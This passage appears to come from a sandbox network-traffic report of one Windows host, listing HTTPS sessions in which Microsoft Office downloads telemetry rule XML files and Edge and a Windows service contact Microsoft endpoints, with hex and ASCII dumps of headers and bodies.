2024-11-28 05:48:21 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-28 05:48:21 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-28 05:48:22 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-28 05:48:22 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-28 05:48:22 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:24 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:25 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:25 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054825Z-174f78459685m244hC1EWRgp2c0000000xw0000000005f1h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:25 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:24 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:25 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:25 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a3cdbcf-401e-0016-597f-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054825Z-174f7845968kdththC1EWRzvxn0000000ac0000000006axz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:25 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:24 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:25 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 59158d4f-901e-00a0-5491-3f6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054825Z-174f78459684bddphC1EWRbht40000000xsg0000000070xe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:25 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:24 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:25 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054825Z-174f7845968jrjrxhC1EWRmmrs0000000y5g0000000061g8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:25 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:24 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:25 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:25 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054825Z-174f7845968vqt9xhC1EWRgten0000000xyg00000000frg2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:25 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49746	94.245.104.56	443	7628	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:25 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 05:48:26 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Thu, 28 Nov 2024 05:48:25 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=08d2043fe0eddf6a1a4774ef0097be85709acca5523117bc62455fbc08a48784;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=08d2043fe0eddf6a1a4774ef0097be85709acca5523117bc62455fbc08a48784;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49751	20.190.177.85	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:26 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-28 05:48:26 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 05:48:27 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 05:47:27 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: ec501381-5dbc-4dac-ae65-5f4bcef8aa18 PPServer: PPV: 30 H: SN1PEPF0002FA60 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 05:48:26 GMT Connection: close Content-Length: 1276
2024-11-28 05:48:27 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:27 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:27 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054827Z-174f784596886s2bhC1EWR743w0000000y3g000000003htt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:27 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:27 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:27 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9e5d2c34-901e-0083-1a26-41bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054827Z-174f784596886s2bhC1EWR743w0000000xxg00000000k9ey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
